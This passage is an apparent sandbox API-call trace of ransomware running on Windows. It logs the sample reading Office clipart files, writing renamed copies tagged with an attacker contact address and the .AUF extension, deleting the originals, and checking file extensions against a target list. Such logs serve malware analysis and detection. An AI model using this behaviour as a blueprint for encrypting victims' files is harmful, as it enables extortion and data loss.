"c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x20 [0218.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.884] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.884] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0218.884] GetLastError () returned 0x0 [0218.884] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2040, lpOverlapped=0x0) returned 1 [0218.928] WriteFile (in: hFile=0x168, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2050, lpOverlapped=0x0) returned 1 [0218.929] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.929] WriteFile (in: hFile=0x168, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.929] SetEndOfFile (hFile=0x168) returned 1 [0218.929] CloseHandle (hObject=0x168) returned 1 [0218.929] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.929] SetEndOfFile (hFile=0x184) returned 1 [0218.930] CloseHandle (hObject=0x184) returned 1 [0218.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0218.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0218.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0218.930] lstrlenW (lpString=".doc") returned 4 [0218.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.930] lstrlenW (lpString=".docx") returned 5 [0218.930] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.930] lstrlenW (lpString=".pdf") returned 4 [0218.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.930] lstrlenW (lpString=".xls") returned 4 [0218.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.930] lstrlenW (lpString=".xlsx") returned 5 [0218.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.931] lstrlenW (lpString=".ppt") returned 4 [0218.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0218.931] lstrlenW (lpString=".zip") returned 4 [0218.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.931] lstrlenW (lpString=".rar") returned 4 [0218.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.931] lstrlenW (lpString=".bz2") returned 4 [0218.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.931] lstrlenW (lpString=".7z") returned 3 [0218.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0218.931] lstrlenW (lpString=".dbf") returned 4 [0218.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0218.931] lstrlenW (lpString=".1cd") returned 4 [0218.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0218.931] lstrlenW (lpString=".jpg") returned 4 [0218.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.938] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.938] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0218.938] GetLastError () returned 0x0 [0218.938] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xa82, lpOverlapped=0x0) returned 1 [0219.008] WriteFile (in: hFile=0x168, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xa90, lpOverlapped=0x0) returned 1 [0219.009] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.009] WriteFile (in: hFile=0x168, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.009] SetEndOfFile (hFile=0x168) returned 1 [0219.433] CloseHandle (hObject=0x168) returned 1 [0219.433] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.434] SetEndOfFile (hFile=0x184) returned 1 [0219.434] CloseHandle (hObject=0x184) returned 1 [0219.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0219.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0219.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0219.438] lstrlenW (lpString=".doc") returned 4 [0219.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.438] lstrlenW (lpString=".docx") returned 5 [0219.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.438] lstrlenW (lpString=".pdf") returned 4 [0219.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.438] lstrlenW (lpString=".xls") returned 4 [0219.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.438] lstrlenW (lpString=".xlsx") returned 5 [0219.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.438] lstrlenW (lpString=".ppt") returned 4 [0219.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0219.438] lstrlenW (lpString=".zip") returned 4 [0219.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.439] lstrlenW (lpString=".rar") returned 4 [0219.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.439] lstrlenW (lpString=".bz2") returned 4 [0219.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.439] lstrlenW (lpString=".7z") returned 3 [0219.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0219.439] lstrlenW (lpString=".dbf") returned 4 [0219.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0219.439] lstrlenW (lpString=".1cd") returned 4 [0219.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0219.439] lstrlenW (lpString=".jpg") returned 4 [0219.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.440] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.440] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0219.440] GetLastError () returned 0x0 [0219.440] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xa7f0, lpOverlapped=0x0) returned 1 [0219.789] WriteFile (in: hFile=0x16c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xa800, lpOverlapped=0x0) returned 1 [0219.790] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.791] WriteFile (in: hFile=0x16c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.791] SetEndOfFile (hFile=0x16c) returned 1 [0219.791] CloseHandle (hObject=0x16c) returned 1 [0219.791] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.791] SetEndOfFile (hFile=0x1f8) returned 1 [0219.792] CloseHandle (hObject=0x1f8) returned 1 [0219.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0219.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0219.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0219.792] lstrlenW (lpString=".doc") returned 4 [0219.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.792] lstrlenW (lpString=".docx") returned 5 [0219.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.792] lstrlenW (lpString=".pdf") returned 4 [0219.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.792] lstrlenW (lpString=".xls") returned 4 [0219.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.792] lstrlenW (lpString=".xlsx") returned 5 [0219.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.792] lstrlenW (lpString=".ppt") returned 4 [0219.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0219.793] lstrlenW (lpString=".zip") returned 4 [0219.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.793] lstrlenW (lpString=".rar") returned 4 [0219.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.793] lstrlenW (lpString=".bz2") returned 4 [0219.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.793] lstrlenW (lpString=".7z") returned 3 [0219.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0219.793] lstrlenW (lpString=".dbf") returned 4 [0219.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0219.793] lstrlenW (lpString=".1cd") returned 4 [0219.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0219.793] lstrlenW (lpString=".jpg") returned 4 [0219.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.066] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2952) returned 1 [0220.066] CloseHandle (hObject=0x20c) returned 1 [0220.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x20 [0220.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.066] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.066] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0220.066] GetLastError () returned 0x0 [0220.066] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xb88, lpOverlapped=0x0) returned 1 [0220.133] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xb90, lpOverlapped=0x0) returned 1 [0220.134] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.134] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.134] SetEndOfFile (hFile=0x180) returned 1 [0220.134] CloseHandle (hObject=0x180) returned 1 [0220.134] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.134] SetEndOfFile (hFile=0x20c) returned 1 [0220.135] CloseHandle (hObject=0x20c) returned 1 [0220.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0220.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0220.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0220.135] lstrlenW (lpString=".doc") returned 4 [0220.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.135] lstrlenW (lpString=".docx") returned 5 [0220.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.135] lstrlenW (lpString=".pdf") returned 4 [0220.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.136] lstrlenW (lpString=".xls") returned 4 [0220.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.136] lstrlenW (lpString=".xlsx") returned 5 [0220.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.136] lstrlenW (lpString=".ppt") returned 4 [0220.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0220.136] lstrlenW (lpString=".zip") returned 4 [0220.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.136] lstrlenW (lpString=".rar") returned 4 [0220.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.136] lstrlenW (lpString=".bz2") returned 4 [0220.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.136] lstrlenW (lpString=".7z") returned 3 [0220.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0220.136] lstrlenW (lpString=".dbf") returned 4 [0220.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0220.136] lstrlenW (lpString=".1cd") returned 4 [0220.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0220.136] lstrlenW (lpString=".jpg") returned 4 [0220.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.137] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=3632) returned 1 [0220.137] CloseHandle (hObject=0x20c) returned 1 [0220.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x20 [0220.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.150] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.150] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0220.151] GetLastError () returned 0x0 [0220.151] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xe30, lpOverlapped=0x0) returned 1 [0220.158] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe40, lpOverlapped=0x0) returned 1 [0220.159] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.160] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.160] SetEndOfFile (hFile=0x180) returned 1 [0220.204] CloseHandle (hObject=0x180) returned 1 [0220.204] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.204] SetEndOfFile (hFile=0x20c) returned 1 [0220.205] CloseHandle (hObject=0x20c) returned 1 [0220.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0220.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0220.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0220.205] lstrlenW (lpString=".doc") returned 4 [0220.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.205] lstrlenW (lpString=".docx") returned 5 [0220.205] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.205] lstrlenW (lpString=".pdf") returned 4 [0220.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.205] lstrlenW (lpString=".xls") returned 4 [0220.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.205] lstrlenW (lpString=".xlsx") returned 5 [0220.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.205] lstrlenW (lpString=".ppt") returned 4 [0220.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0220.205] lstrlenW (lpString=".zip") returned 4 [0220.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.206] lstrlenW (lpString=".rar") returned 4 [0220.206] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.206] lstrlenW (lpString=".bz2") returned 4 [0220.206] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.206] lstrlenW (lpString=".7z") returned 3 [0220.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.206] lstrlenW (lpString="C:\\Program Files\\Microsoft 